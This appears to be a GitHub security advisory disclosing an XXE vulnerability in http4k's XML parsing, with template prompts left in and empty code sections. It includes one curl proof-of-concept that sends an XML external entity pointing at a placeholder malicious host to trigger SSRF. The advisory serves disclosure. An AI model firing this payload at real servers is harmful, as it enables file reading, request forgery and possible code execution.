http4k has a potential XXE (XML External Entity Injection) vulnerability
Summary_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.Details_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46
XML contents is parsed with DocumentBuilder without security settings on or external entity enabledPoC_Complete instructions, including specific configuration details, to reproduce the vulnerability._Example Vulnerable server code:Maven dependency:Exploit payload example to trigger SSRF`curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"`Impact_What kind of vulnerability is it? Who is impacted?_
The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability